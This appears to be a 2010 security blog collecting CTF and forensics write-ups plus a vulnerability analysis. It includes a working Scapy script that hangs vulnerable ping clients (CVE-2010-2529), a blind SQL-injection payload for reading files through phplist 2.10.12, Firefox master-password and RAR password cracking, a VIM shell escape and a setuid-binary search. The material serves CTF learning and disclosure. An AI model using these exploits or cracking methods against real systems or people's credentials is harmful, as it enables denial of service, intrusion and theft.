Sunday, July 25, 2010

Write-up on RootBSD's forensics challenge

Saturday, RootBSD (@r00tbsd #hackbbs) organized a small forensics challenge (french). About 30 people played the challenge, and we had fun. Fellow Nibbles member sh4ka quickly took the first place in just 2 hours and therefore won a shirt of his choice at getdigital.de. I played with two friends - 0vercl0k and thaw - and we took second place a few minutes after sh4ka. Below is my write-up for all the flags, but other players have also posted their write-ups: m_101 and tryks.


Challenge


We were given an 17MB archive of a linux home directory, and instructed to find 10 flags, in the form of md5 hashes. The global level of the challenge was easy and so very interesting for people who want to try forensics.

First, extract the archive:
$ tar zxf forensics_challenge.tar.gz
$ cd forensics_challenge


Flag 1: Private/.facile


Flags are md5 hashes? Use grep and a small regular expression to find such flags:
$ grep -EHiorn '[0-9a-f]{32}' .
[...]
./Private/.facile:1:8cd4525b78f0488581316bba7734e758
[...]

This is our first flag: 8cd4525b78f0488581316bba7734e758.


Flag 2: Private/priv.txt


File Private/priv.txt is suspicious:
$ cat private/priv.txt
Sh mshn lza 55ml6j0m75j563099l3k332m5j64l690
We quickly recognize a Caesar cipher. Let's see what we have with all different keys:
>>> import string
>>> def cesar(s,k):
...   o = ''
...   for c in s:
...     if c in string.letters:
...       r = ord('A') if c in string.uppercase else ord('a')
...       o += chr(r+(ord(c)-r-k)%26)
...     else: # don't touch other chars (numbers, punctuation..)
...       o += c
...   return o
...
>>> s='Sh mshn lza 55ml6j0m75j563099l3k332m5j64l690'
>>> for k in range(26):
...  print "%i: %s" % (k, cesar(s,k))
[...]
'7: La flag est 55fe6c0f75c563099e3d332f5c64e690'
[...]

The key was 7 and the flag is 55fe6c0f75c563099e3d332f5c64e690.


Flag 3: Musics/miel-vie.mp3


Thanks to id3 tool (package of the same name), we see the ID3 tags:
$ id3 -l miel-vie.mp3
miel-vie.mp3:
Title  : miel-vie                        Artist: ???
Album  : VW4gZGUgcGx1cyAzMzA2ZWMwOTdmYz  Year:     , Genre: Unknown (255)
Comment: gzMDgxNzE4MTUxNmVhMjhkZWQzOA==

Looks like base64:
echo -n 'VW4gZGUgcGx1cyAzMzA2ZWMwOTdmYzgzMDgxNzE4MTUxNmVhMjhkZWQzOA==' |base64 -d
Un de plus 3306ec097fc830817181516ea28ded38

It says: one more flag 3306ec097fc830817181516ea28ded38.

As a proof there is no other flag in the file, we use Google to find the original mp3 and binary diff it with hexdump+diff:
$ wget -q "http://www.chanson-libre.net/chansons-tristes/audio/miel-vie.mp3"
$ diff -u <(hexdump -C miel-vie.mp3) <(hexdump -C miel-vie.mp3.1)
--- /dev/fd/63  2010-07-24 22:49:53.781841807 +0200
+++ /dev/fd/62  2010-07-24 22:49:53.799234778 +0200
@@ -170399,13 +170399,5 @@
 0029dcd0  0000000001a40000 0000000034800000  |............4...|
 0029dce0  0000000000000000 0000000000000000  |................|
 *
-0029ddd0  0000000000000000 0000000000005441  |..............TA|
-0029dde0  476d69656c2d7669 6500000000000000  |Gmiel-vie.......|
-0029ddf0  0000000000000000 000000000000003f  |...............?|
-0029de00  3f3f000000000000 0000000000000000  |??..............|
-0029de10  0000000000000000 0000000000565734  |.............VW4|
-0029de20  675a475567634778 316379417a4d7a41  |gZGUgcGx1cyAzMzA|
-0029de30  325a574d774f5464 6d597a0000000067  |2ZWMwOTdmYz....g|
-0029de40  7a4d4467784e7a45 344d5455784e6d56  |zMDgxNzE4MTUxNmV|
-0029de50  684d6a686b5a5751 7a4f413d3dff      |hMjhkZWQzOA==.|
-0029de5e
+0029ddd0  0000000000000000 000000000000      |..............|
+0029ddde
Note the shell trick of double <(cmd) to give files in two input descriptors.

We are now sure there is no other flag than the base64 one in the ID3 tags.


Flag 4: Images/fractale5.jpg


The picture has an EXIF comment, that we can see with jhead as I already showed:
$ jhead fractale5.jpg
File name    : fractale5.jpg
File size    : 407821 bytes
File date    : 2010:07:14 23:15:38
Resolution   : 664 x 498
Comment      : 1dcd64e16d97507052d67a6d0557ee8d
Or simply with exiv2:
$ exiv2 -pc fractale5.jpg
1dcd64e16d97507052d67a6d0557ee8d

The flag is in the EXIF comment field: 1dcd64e16d97507052d67a6d0557ee8d.


Flag 5: Images/jpg_NDH080408ak.jpg


The picture has a thumbnail, that we can extract with:
$ exiv2 -et jpg_NDH080408ak.jpg

The thumbnail is a picture showing the flag: f2c7ec9225e9158deb7ca7aad0f3504b.

Now, just like with the mp3 file, to be sure there is no other flag hidden in the other pictures, we search the pictures on Google images, find the originals and compare:
$ md5sum *
fa033b0f3f0bb536770bbd5580575aac  fractale.1.jpg
fa033b0f3f0bb536770bbd5580575aac  fractale.jpg
9798b0bd4733cdceafe41c60549340ee  fractale1.1.jpg
9798b0bd4733cdceafe41c60549340ee  fractale1.jpg
e3b2fcef09ce3f2b00b207a259d0e9d9  fractale10.1.jpg
e3b2fcef09ce3f2b00b207a259d0e9d9  fractale10.jpg
0fc57bbea15fe0248998e3a8f8de7567  fractale11.1.jpg
0fc57bbea15fe0248998e3a8f8de7567  fractale11.jpg
ed8a7bf5c9b2646a92faaeea39b5a78b  fractale2.1.png
ed8a7bf5c9b2646a92faaeea39b5a78b  fractale2.png
7bb953cd11f88f7f82a17f837a69fb1d  fractale3.1.jpg
7bb953cd11f88f7f82a17f837a69fb1d  fractale3.jpg
e9795f353f24ebef3d568d9025feba22  fractale4.1.jpg
e9795f353f24ebef3d568d9025feba22  fractale4.jpg
9b0cda35bec3154571d26975bc7c309c  fractale5.1.jpg <= different
d1dd0deefe82780a610bea6f83da8b8b  fractale5.jpg
50d72c32b8b9bdc43c72ebdd1b6c2f49  fractale6.1.jpg
50d72c32b8b9bdc43c72ebdd1b6c2f49  fractale6.jpg
7be72e674c0a62d21247eb000d8df597  fractale7.1.jpg
7be72e674c0a62d21247eb000d8df597  fractale7.jpg
6c3217235c4f91ed6c8a763d7ddb8063  fractale8.1.jpg
6c3217235c4f91ed6c8a763d7ddb8063  fractale8.jpg
9dfc8a27e6aeca6c684f3bc9324bb91d  fractale9.1.jpg
9dfc8a27e6aeca6c684f3bc9324bb91d  fractale9.jpg
020d7508ed6466a41c58e38aada2cf1d  jpg_NDH080408ak.1.jpg <= different
8e08485bd52163e682f9e7cc88de92c2  jpg_NDH080408ak.jpg

We can see that the only different sums are for the file where we already extracted the flag. So no more flag here!


Flag 6: Documents/World_of_Fractal.pdf


Again, we use Google to find the original PDF files and compare their hash to find where is the flag:
$ md5sum *
3dc8480a8762d1eb2af09482468b0298  03-icar-fractal.pdf
3dc8480a8762d1eb2af09482468b0298  03-icar-fractal.pdf.1
07528724e9c0aea37656e0c794ce30d7  Fractal.pdf
07528724e9c0aea37656e0c794ce30d7  Fractal.pdf.1
bdbf94bb16895468409f68ecf9401e02  World_of_Fractal.pdf => flag must be here!
6263b0228a08fe3de7677ad2a5cba621  World_of_Fractal.pdf.1 
8dcdaea419993e2fdb7f736d539d94da  fractales.pdf
8dcdaea419993e2fdb7f736d539d94da  fractales.pdf.1
3801073a72e037ee60b532cb8a1254dc  fractals2.pdf
3801073a72e037ee60b532cb8a1254dc  fractals2.pdf.1

Now just binary diff the two files:
diff -u <(hexdump -C World_of_Fractal.pdf) <(hexdump -C World_of_Fractal.pdf.1)
--- /dev/fd/63  2010-07-24 22:16:58.178382800 +0200
+++ /dev/fd/62  2010-07-24 22:16:58.165298097 +0200
@@ -77407,9 +77407,9 @@
 0012ee00  6f626a0d3c3c200d 2f50726f64756365  |obj.<< ./Produce|
 0012ee10  7220284163726f62 6174204469737469  |r (Acrobat Disti|
 0012ee20  6c6c657220352e30 205c2857696e646f  |ller 5.0 \(Windo|
-0012ee30  77735c29290d2f41 7574686f72202866  |ws\))./Author (f|
-0012ee40  3138303938343465 6161316562653035  |1809844eaa1ebe05|
-0012ee50  3062643439373361 3435366231353029  |0bd4973a456b150)|
+0012ee30  77735c29290d2f41 7574686f7220286d  |ws\))./Author (m|
+0012ee40  6f6f636869290d2f 43726561746f7220  |oochi)./Creator |
+0012ee50  284163726f626174 205044464d616b65  |(Acrobat PDFMake|
 0012ee60  7220352e3020666f 7220576f7264290d  |r 5.0 for Word).|
 0012ee70  2f4d6f6444617465 2028443a32303032  |/ModDate (D:2002|
 0012ee80  3034303931373336 32332b3038273030  |0409173623+08'00|

We have our flag: f1809844eaa1ebe050bd4973a456b150, and thanks to Google we also know that there is no other flag in the PDF files.


Flag 7: FS.dd, foremost


File does not return anything interesting on this file:
$ file FS.dd
FS.dd: data
RootBSD said it's because the ext2 header has been voluntarily corrupted. sh4ka just told me one can restore this header simply with: mke2fs -S FS.dd, to write superblock and group descriptors only (see man mke2fs).

But this does not stop us. We grab our favourite file carving tool foremost and run it over FS.dd to find files in it:
$ foremost FS.dd
Processing: FS.dd
|*|
$ ls -R output/
output/:
audit.txt  jpg

output/jpg:
00012290.jpg
Success! Open the picture and see the flag: a84774bcf9e00b394d75e4367472e58e.


Flag 8: FS.dd, hexdump


Maybe there are other flags in this filesystem image. It is a big file, but has many zeroes. Thanks to the great hexdump utility which does not print repeating lines (instead it prints a star *), we can easily view its content in hex:
$ hexdump -C FS.dd
[...]
00700400  623056494d20372e 3200000000100000  |b0VIM 7.2.......|
00700410  0000000000000000 7e0a0000726f6f74  |........~...root|
00700420  0000000000000000 0000000000000000  |................|
*
00700440  000000006b657669 6e2d6c6170746f70  |....kevin-laptop|
00700450  0000000000000000 0000000000000000  |................|
00700460  0000000000000000 000000002f6d6e74  |............/mnt|
00700470  2f666c6167732e74 7874000000000000  |/flags.txt......|
00700480  0000000000000000 0000000000000000  |................|
*
007007e0  0000000000000000 0000000000000d55  |...............U|
007007f0  3332313023222120 1312550000000000  |3210#"! ..U.....|
00700800  0000000000000000 0000000000000000  |................|
*
00702400  4a6f6c69203a2032 3834333036323135  |Joli : 284306215|
00702410  3331323166656430 3535383631333630  |3121fed055861360|
00702420  323634356638310a 0000000000000000  |2645f81.........|
00702430  0000000000000000 0000000000000000  |................|
[...]

Here is our flag: 2843062153121fed0558613602645f81.


Flag 9: .mozilla/firefox profile, master password


In the hidden directory .mozilla we have a full profile of a user. Interesting URLs can be found in the places.sqlite database. To explore this SQLite version 3 database files, we will use its command-line interface sqlite3:
$ sqlite3 places.sqlite
SQLite version 3.5.9
Enter ".help" for instructions
sqlite> .tables
moz_anno_attributes  moz_favicons         moz_keywords
moz_annos            moz_historyvisits    moz_places
moz_bookmarks        moz_inputhistory
moz_bookmarks_roots  moz_items_annos
sqlite> .dump moz_places
BEGIN TRANSACTION;
CREATE TABLE moz_places (   id INTEGER PRIMARY KEY, url LONGVARCHAR, title LONGVARCHAR, rev_host LONGVARCHAR, visit_count INTEGER DEFAULT 0, hidden INTEGER DEFAULT 0 NOT NULL, typed INTEGER DEFAULT 0 NOT NULL, favicon_id INTEGER, frecency INTEGER DEFAULT -1 NOT NULL, last_visit_date INTEGER );
[...]
INSERT INTO "moz_places" VALUES(95,'http://www.r00ted.com/','www.r00ted.com','moc.det00r.www.',1,0,0,NULL,100,1279220319364367);
INSERT INTO "moz_places" VALUES(96,'http://www.r00ted.com/doku.php','r00ted [r00ted]','moc.det00r.www.',1,0,0,10,100,1279220314450621);
INSERT INTO "moz_places" VALUES(97,'http://www.r00ted.com/forensics/flags.txt','flags.txt','moc.det00r.www.',1,0,1,11,2000,1279220457708086);
[...]

The last URL with flags.txt file seems interesting but it requires a username and a password (HTTP authentication).

No need to brute-force RootBSD's website, maybe the user has saved his username and password in his Firefox profile. Indeed Firefox (and Thunderbird, Sunbird...) has a signons.sqlite file (an SQLite version 3 database) containing all saved usernames and passwords with their corresponding base URL.

$ sqlite3 signons.sqlite
SQLite version 3.5.9
Enter ".help" for instructions
sqlite> .tables
moz_disabledHosts  moz_logins
sqlite> .dump moz_logins
BEGIN TRANSACTION;
CREATE TABLE moz_logins (id                 INTEGER PRIMARY KEY,hostname           TEXT NOT NULL,httpRealm          TEXT,formSubmitURL      TEXT,usernameField      TEXT NOT NULL,passwordField      TEXT NOT NULL,encryptedUsername  TEXT NOT NULL,encryptedPassword  TEXT NOT NULL,guid               TEXT,encType            INTEGER);
INSERT INTO "moz_logins" VALUES(1,'http://www.r00ted.com','Accès réservé aux amis',NULL,'','','MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECG+PJbf7p3NqBAgelTlhXE0NMA==','MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECFNhViAtgtLuBBBr2d66d+brfnCfVBwv7qw7','{6b6d81fa-34bd-4475-b51e-4a65ab075cdd}',1);
[...]

Sadly but as a very good practice, the user has protected its credentials with a master password. Hopefully, nagareshwar (@tnagareshwar) from securityxploded.com (@securityxploded) has built an ultimate tool to recover lost Firefox master passwords, called FireMaster.

We will start with a small brute-force:
C:\>Firemaster.exe -b -m 1 -l 5 -c "abcdefghijklmnopqrstuvwxyz" 9tv5bckt.default
[...]
 * Congratulations !!! Your Master Password is Recovered Successfully
 Your Firefox Master password is : hack

Great! The master password is hack, we can now see the username & passwords thanks to another utility by the same author: FirePassword.

C:\>FirePassword.exe -m hack 9tv5bckt.default
[...]
 Host: http://www.r00ted.com
 unknown     : kevin
 unknown     : hKza62qCSTgq

Great! We can how access the protected URL with username kevin and password hKza62qCSTgq and see:
Et encore un de plus : 4f88ae808c5cb93084bb4117b0452ca7

It says: and again one more 4f88ae808c5cb93084bb4117b0452ca7.


Flag 10: Download/trame.pcap, password-protected flags.rar


We open the capture in Wireshark, see an HTTP GET request to /downloads/flags.rar, and the response containing the file. As previously explained, we use right-click/export selected packet bytes to save the flags.rar.

We can see that the rar file contains a flags.jpg file, but the archive is password-protected: we first have to crack the password.

If you don't already have an archive password cracker/recovery, use rarcrack. It is slow, does not support advanced attack such as dictionary attacks, but it is free and it works:
$ rarcrack --type rar flags.rar
RarCrack! 0.2 by David Zoltan Kedves (kedazo@gmail.com)

INFO: the specified archive type: rar
INFO: cracking flags.rar, status file: flags.rar.xml
GOOD: password cracked: 'biere'
By the way, if you know any good & free archive cracker, please let me know!

We extract the flags.jpg from the archive using password biere - beer in french - and see the flag on the picture: 203ec6cfbff8288c0ebeec8ea1e70144.


Conclusion


It was simple forensics, yet interesting tools have been showed - especially FireMaster & FirePassword. Also, the Google trick to diff the original file and the challenge one proved to be damn powerful! I think next time totally new files have to be created, or at least original files have to be a lot modified so that diff'ing will not help much.

We had fun during this small forensics challenge, and I hope there'll be others. Thank you RootBSD!

CVE-2010-2529 ping infinite loop

On friday, Ovidiu Mara reported a vulnerability in ping utility from iputils package. It was announced as MDVSA-2010:138 by Mandriva Security on Full Disclosure mailing list, and CVE-2010-2529 has been reserved for it. Be assured it is not a critical bug. In fact if you ping a malicious host which replies a malicious packet, the ping utilities goes in an infinite loop. Just kill it and you're done.

However, I like networking and found the vulnerability funny (reminds me a bit the ping of death), so I investigated, found the vulnerability and developed an exploit.

Finding the vulnerability was easy thanks to vigilance. They almost give the answer:
The ping tool sends an IPv4+ICMP_Echo_Request to a remote computer, which answers with an IPv4+ICMP_Echo_Reply packet. If the remote computer sends an answer containing an IPv4 Timestamp option, the pr_options() function of ping.c decodes its. However, this function is invalid, and an infinite loop occurs. A server can therefore send a malicious ICMP reply, in order to generate an infinite loop in the ping tool.


The vulnerability


Read the source ping.c and go to pr_options() function:
979 void pr_options(unsigned char * cp, int hlen)
then find the case for handling IPv4 Timestamp option:
1062                 case IPOPT_TS:

Then you read:
1064                         int stdtime = 0, nonstdtime = 0;
1065                         __u8 flags;
1066                         j = *++cp;              /* get length */
1067                         i = *++cp;              /* and pointer */
1068                         if (i > j)
1069                                 i = j;
1070                         i -= 5;
1071                         if (i <= 0)
1072                                 continue;
Hmm... continue? We are going into an infinite loop if this condition is true, that is to say when (i <= 5) or (i>j and j<=5).

I think the programmer intended break, or at least it is how I would patch the bug. I did not see any diff confirming this yet. It is true that Mandriva subscribers have updated packages, but you have to pay to have them so...


Understand IPv4 Timestamp option


IPv4 Timestamp is an IPv4 optional option, and as with all IP options, they come in the IP header. I assume you're already familiar with IPv4 and how IP options work (see IP header). But to understand IPv4 Timestamp entirely, let's go back to RFC 781: A specification of the Internet Protocol (IP) timestamp option, written by Zaw-Sing Su in May 1981 (!).


0               7               15              23              31
+---------------+---------------+---------------+---------------+
|     type      |    length     |    offset     |overflw| flags |
+---------------+---------------+---------------+---------------+
|                          internet ID                          |
+---------------+---------------+---------------+---------------+
|                          time stamp                           |
+---------------+---------------+---------------+---------------+

option type = 68 decimal (i.e., option class = 2 and option number = 4);

option length = the number of octets with a maximum of 40 (limited by IHL = 15);

offset =    the number of octets from the beginning of this option to the end of timestamps (i.e., the beginning of space for next timestamp).  It is set to one, an odd number, when no more space remains in the header for timestamps;

overflow =  the number of IP modules that cannot register timestamps due to lack of space;

flag = 0 -- time stamps only, 1 -- each timestamp is preceded with internet ID of the registering entity, 3 -- the internet ID fields are prespecified.  An IP module only registers its timestamp if it matches its own ID with the next specified internet ID;
Good, so what they call pointer in the code is the offset field. The condition to trigger the vulnerability can now be understood as (offset <= 5) or (offset>length and length<=5).

But to be sure that our packet will be received, let's look at how the TCP/IP stack of the Linux kernel handles these packets.


Dive in Linux TCP/IP stack


Thanks to Linux Cross-Reference, we quickly get to the file responsible for IPv4 options, and to the function handling IPv4 Timestamp option: net/ipv4/ip_options.c.
342      case IPOPT_TIMESTAMP:
343         if (opt->ts) {
344             pp_ptr = optptr;
345             goto error;
346         }
347         if (optlen < 4) {
348             pp_ptr = optptr + 1;
349             goto error;
350         }
351         if (optptr[2] < 5) {
352             pp_ptr = optptr + 2;
353             goto error;
354         }
355         if (optptr[2] <= optlen) {
356             __be32 *timeptr = NULL;
357             if (optptr[2]+3 > optptr[1]) {
358                 pp_ptr = optptr + 2;
359                 goto error;
360             }

A few checks are made, if they are true the packet is ignored:
  • length < 4
  • offset < 5
  • offset <= length
  • offset+3 > length

Everything is ok with offset=5 and a length of 8: timestamp option header (4 bytes) + value of a timestamp (4 bytes).

Below we have a several cases depending on the flag (4 bits) field. Sadly, all the cases are protected against incorrect values of offset and/or length. However the default case does not check anything in particular, and accepts the packet! We'll then use flag=4, undefined in the RFC.


Exploit with Scapy


Scapy is my favourite packet manipulation tool. To prove once against its awesomeness, let's build the exploit with it.

But first, since we want to build a fake ICMP echo-reply, we have to tell the kernel not to reply to ICMP echo-requests otherwise two replies would be sent. You can do this either via iptables or more conveniently, procfs:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
(restore by echo'ing 0)

We will use sniff() function to capture ICMP echo-request packets and process them:
sniff(count=0, store=1, offline=None, prn=None, lfilter=None, L2socket=None, timeout=None, opened_socket=None, *arg, **karg)
    Sniff packets
    sniff([count=0,] [prn=None,] [store=1,] [offline=None,] [lfilter=None,] + L2ListenSocket args) -> list of packets

      count: number of packets to capture. 0 means infinity
        prn: function to apply to each packet. If something is returned,
             it is displayed. Ex:
             ex: prn = lambda x: x.summary()
    lfilter: python function applied to each packet to determine
             if further action may be done
             ex: lfilter = lambda x: x.haslayer(Padding)

A quick look at Scapy Python source scapy/layers/inet.py indicates us how IPv4 options fields work. Assembling all the pieces, it gives the following exploit:

def reply(s):
  p = IP(src=s[IP].dst, dst=s[IP].src)/ICMP(type=0, id=s[ICMP].id, seq=s[ICMP].seq)/(s[Raw] if s.haslayer(Raw) else '')
  p[IP].options = [IPOption(optclass='debug',option='timestamp',value='\x05\x04ABCD')]
  send(p)

sniff(lfilter = lambda p: p.haslayer(ICMP) and p[ICMP].type==8, prn=reply)
Yes, that's all! God I love Scapy..

Upon receiving an ICMP echo-request (type 8), it simply builds a new IP packet with an ICMP echo-reply (type 0), copies required ICMP fields and payload and adds an IPv4 Timestamp option with:
  • 5 as the offset
  • 0 as the overflow, 4 as the flags
  • one TS record for IP address 65.66.67.68 ('ABCD') but timestamp unrecorded

I'll be running this Scapy script for a few days, so if you want to see if you are vulnerable just ping stalkr.net :)

As far as I know, following kernel/distributions are vulnerable:
  • 2.6.26-2-amd64 Debian lenny
  • 2.6.32-5-amd64 Debian sid
  • 2.6.32 Arch Linux
  • 2.6.30-9 Ubuntu 8.10
  • 2.6.28-17 Ubuntu 9.04
  • 2.6.31-14 Ubuntu 9.10
  • 2.6.32-23 Ubuntu 10.04
Also, I have found that when running VMware Virtual Machines with NAT networking, it does not work: IPv4 Timestamp option is removed by the NAT (I don't know why). Switch to bridged networking and it should work.


Update 2010-07-28


Seeing Debian security-tracker, it is currently fixed in sid (unstable) and squeeze (testing) but not in lenny (stable) nor etch (old-stable).

Seeing Debian diff for sid iputils we can see they indeed replaced continue with break, and also that it wasn't the only place:
Index: trunk/ping.c
===================================================================
--- trunk.orig/ping.c 2010-07-23 21:26:53.000000000 -0700
+++ trunk/ping.c 2010-07-23 21:28:27.000000000 -0700
@@ -1059,7 +1059,7 @@
     i = j;
    i -= IPOPT_MINOFF;
    if (i <= 0)
-    continue;
+    break;
    if (i == old_rrlen
        && !strncmp((char *)cp, old_rr, i)
        && !(options & F_FLOOD)) {
@@ -1096,7 +1096,7 @@
     i = j;
    i -= 5;
    if (i <= 0)
-    continue;
+    break;
    flags = *++cp;
    printf("\nTS: ");
    cp++;

Indeed there was the same issue with IP option 7 Route Record (RR):
1028                 case IPOPT_RR:
1029                         j = *++cp;              /* get length */
1030                         i = *++cp;              /* and pointer */
1031                         if (i > j)
1032                                 i = j;
1033                         i -= IPOPT_MINOFF;
1034                         if (i <= 0)
1035                                 continue;

Exploiting this similar vulnerability with a crafted IP packet using option RR is left as an exercise to the reader. ;)

Wednesday, July 14, 2010

smpCTF challenge #11 write-up, phplist 0day

Challenge #11 of smpCTF was interesting: we were given an URL to a phplist version 2.10.12 installation - with default admin/phplist administrator account - and instructed to find a 0day.


SQL injection in phplist 2.10.12


Nibbles teammates sh4ka & Gu1 quickly performed a security audit of phplist (apparently not known for its security) and found an SQL injection in:
/lists/admin/commonlib/pages/users.php

On line 57, findby is obtained from user input as a GET parameter, with some filtering against XSS attacks:
$_SESSION["userlistfilter"]["findby"] = removeXss($_GET["findby"]);

removeXss() function is defined on line 21 in:
/lists/admin/commonlib/lib/magic_quotes.php
It simply escapes special HTML chars with htmlspecialchars().

Back to the main file, on line 65 findby is stored in a variable:
$findby = $_SESSION["userlistfilter"]["findby"];
And later on line 82 passed as-is into an SQL query:
$findatt = Sql_Fetch_Array_Query("select id,tablename,type,name from {$tables["attribute"]} where id = $findby");
We have found the vulnerability: one can perform an SQL injection trough findby GET parameter.

Proposed fix: since id is an integer, it seems obvious to me that they should intval(). No need for complex escaping.


Exploiting the SQL injection


We have no output of our SQL injection, it's blind. However they found an interesting way to obtain a binary answer with the following SQL injection:
[...] where id = 0 and if(X, (select table_name from information_schema.tables), 1)

If X is false, it returns 1 and nothing happens (there are other SQL errors below but not important). However if X is true, then the SELECT subquery is executed, returns more than one row and MySQL doesn't know how to fit the result in the original query so just replies the following MySQL error:
Subquery returns more than 1 row

We have our blind SQL injection turned into an exploitable SQL injection with an identifiable true/false answer.


From SQL injection to local file disclosure


We had to find a flag located in a file. MySQL conveniently provides load_file() and hopefully it was enabled. We can read the file character by character thanks to MySQL substr(). Instead of obtaining every character (by a linear brute-force or more clever dichotomy), sh4ka had the brilliant idea to read the file bit by bit, combining substr(), ord(), bin(), lpad() and again substr() MySQL functions.

Since I had finished another challenge and was available for work, I quickly catch up on this one and started to build an exploit, while Gu1 was building another one. Two exploits are better than one!

Due to challenge issues I wasn't able to properly finish it and sent it by mail as an alpha version. CTF ended, I finished it on a local installation of phplist 2.10.12 and here is the final exploit.

The exploit takes in argument:
  • host[:port] of webserver
  • path to phplist installation
  • admin username
  • admin password
  • file to read
  • optional verbose parameter to show the progress

It first logs in onto the admin panel, then using the SQL injection calculates the file size by dichotomy and finally reads the file bit by bit.

$ echo -n "poc" > /var/www/file
$ python exploit.py localhost /phplist admin phplist /var/www/file 1
[*] phplist 2.10.12 SQL injection, local file disclosure
[+] Login successfull
[*] Retrieving '/var/www/file'
[+] '/var/www/file' length: 3
[+] Got: 'p'
[+] Got: 'po'
[+] Got: 'poc'
poc

Tuesday, July 13, 2010

smpCTF challenge #2 write-up

Challenge #2 was similar to defcon trivial 200: you had to escape from a VIM editor, but this time it was not evil - you can see the screen.

We were given the following instructions:
ssh -l luser gordo.smpctf.com -p 2282 Password: smpctf
Help find waldo..

Once logged in SSH, we are in a VIM. Again, thanks to defcon trivial 200 we know what to do:
:set shell=/bin/bash
:!/bin/bash

Then we have a shell:
bash-3.1$ id
uid=1005(luser) gid=103(levels) groups=103(levels)

From here, it's just exploration. We can start by using find:
bash-3.1$ find / -iname '*flag*' 2>/dev/null
[...]
/usr/lib/.flag
[...]

Hmm, what's this?
bash-3.1$ ls -l /usr/lib/.flag
drwxr-xr-x  2 root root  4096 Jul  9 12:30 /usr/lib/.flag
bash-3.1$ cd /usr/lib/.flag
bash-3.1$ ls -al
total 64
drwxr-xr-x  2 root root  4096 Jul  9 12:30 .
drwxr-xr-x 69 root root 53248 Jul  9 12:30 ..
-rw-r--r--  1 root root    54 Jul  9 16:33 smp
bash-3.1$ cat smp
Challenge Key: cfc6adcc
Flag: HAHAHAHAHAHAHHAHAponies
Got it!

If we hadn't find it this way, in such a situation we could have used:
  • recursive grep:
    grep -Hirn flag /
  • find setuid/setgid binaries for privilege escalation:
    find / -local -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l '{}' \;
  • see files that were last modified on the filesystem:
    ls -alRt / |head
  • reading ~/.bash_history and other history or log files
  • up to your imagination :)

smpCTF challenge #1 write-up

smpCTF challenge #1 was a simple web + programming challenge.

We were given the following instructions:
Set S = 1
Set P = 1
Set previous answer = 1

answer = S * P + previous answer + R
R = 39

After this => S + 1 and P + 1 ('answer' becomes 'previous answer') + 39
then repeat this till you have S = 11065.

The final key will be the value of 'answer' when S = 11065.

Example:
So if R = 15..

17 = 1 * 1 + 1 + 15
36 = 2 * 2 + 17 + 15
60 = 3 * 3 + 36 + 15

Submit the correct answer and you will recieve a flag. Have fun ;D 

Then in an HTML comment we could read:
<!--VGhlIHZhbHVlcyBvZiBTIGFuZCBSIGNoYW5nZSBldmVyeSA1IG1pbnV0ZXMgb3Igc28gaGVoZSA7-->
base64 standing for:
$ echo VGhlIHZhbHVlcyBvZiBTIGFuZCBSIGNoYW5nZSBldmVyeSA1IG1pbnV0ZXMgb3Igc28gaGVoZSA7 |base64 -d
The values of S and R change every 5 minutes or so hehe ;

Obviously we have to implement the algorithm, I used Python for that (because conveniently numbers do not overflow). A dumb (close to the text) implementation could be:
#!/usr/bin/python
import sys
S, P, previous_answer, answer = 1, 1, 1, 0
findS, R = int(sys.argv[1]), int(sys.argv[2])
while S<=findS:
    answer = P * S + previous_answer + R
    S, P = S+1, P+1
    previous_answer = answer
print answer
Then a small shell script to get everything done:
  • retrieve S & R from the CTF page, wget, grep, sed
  • compute the answer using the python script
  • send the result
#!/bin/sh
U="http://www.smpctf.com/xxx874/chg18.php"
wget -qO page.htm "$U"
S=$(grep -oE 'S = [0-9]*' page.htm | tail -n1 |sed 's/S = //')
R=$(grep -oE 'R = [0-9]*' page.htm | head -n1 |sed 's/R = //')
echo "S = $S - R = $R"
A="$(./find.py $S $R)"
echo "Answer: $A"
curl -s -d "answer=$A" "$U" > ans.htm
diff -su page.htm ans.htm |grep '^-\|^+' |grep -v '^---\|^+++'
Execute to get the flag:
$ ./get.sh
S = 11065 - R = 39
Answer: 451639883701
-  </div>
+  <b>Challenge ID</b>: 36b1c546<br><b>Flag</b>: WaSThAtFunORwhaT?!?<br> </div>

The only difficulty was the challenge not working at the beginning, so we thought we didn't understand well the algorithm... hopefully they quickly fixed it.

smpCTF challenge #5 write-up - Forensic

smpCTF challenge #5 was forensics: we were given the file forensic1-image and instructed to find a flag.

As usual, we start our analysis with file command:
$ file forensic1-image
forensic1-image: rzip compressed data - version 2.1 (15185973 bytes)

We have an rzip file. Install software if needed then extract it:
$ sudo apt-get install rzip
$ mv forensic1-image{,.rz}
$ rzip -d forensic1-image.rz

Then we have an LHA archive, extract it similarly:
$ file forensic1-image
forensic1-image: LHarc 1.x/ARX archive data [lh0]
$ sudo apt-get install lha
$ lha x forensic1-image
FS.tar  - Melted   :  oooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

Then we consecutively have a tar, a bzip2 and a gzip archive to extract:
$ tar xf FS.tar
$ file FS
FS: bzip2 compressed data, block size = 900k
$ mv FS{,.bz2}
$ bzip2 -d FS.bz2
$ file FS
FS: gzip compressed data, was "FS", from Unix, last modified: Wed Jun 30 03:42:18 2010, max compression
$ mv FS{,.gz}
$ gzip -d FS.gz
$ file FS
FS: Linux rev 1.0 ext2 filesystem data (large files)

It ends on an ext2 filesystem, mount it (read-only not to modify the file) and list its contents:
$ mkdir x
$ sudo mount -o ro,loop FS x
$ ls -laR x

./x:
total 15396
drwxr-xr-x 3 root root     4096 Jun 30 03:50 .
drwxrwxrwx 1 root root        0 Jul 10 02:30 ..
-rw-r--r-- 1 root root 15723366 Jun 30 03:50 forensic_image
drwx------ 2 root root    16384 Jun 30 03:42 lost+found

./x/lost+found:
total 20
drwx------ 2 root root 16384 Jun 30 03:42 .
drwxr-xr-x 3 root root  4096 Jun 30 03:50 ..

Apparently only one file, copy it and we can always go back if something else was hidden in the filesystem:
$ cp x/forensic_image .
$ sudo umount x

What's next? file does not help that much, so view the header with hexdump:
$ file forensic_image
forensic_image: data
$ hexdump -n 16 -C forensic_image
00000000 00e955434cff011a 000000012d070004 |..UCL.......-...|

UCL? Reminds me Defcon 2008 quals forensics 200: UCL is a portable lossless data compression library written in ANSI C by Markus F.X.J. Oberhumer. Install it and extract the archive:
$ sudo apt-get install libucl1 libucl-dev
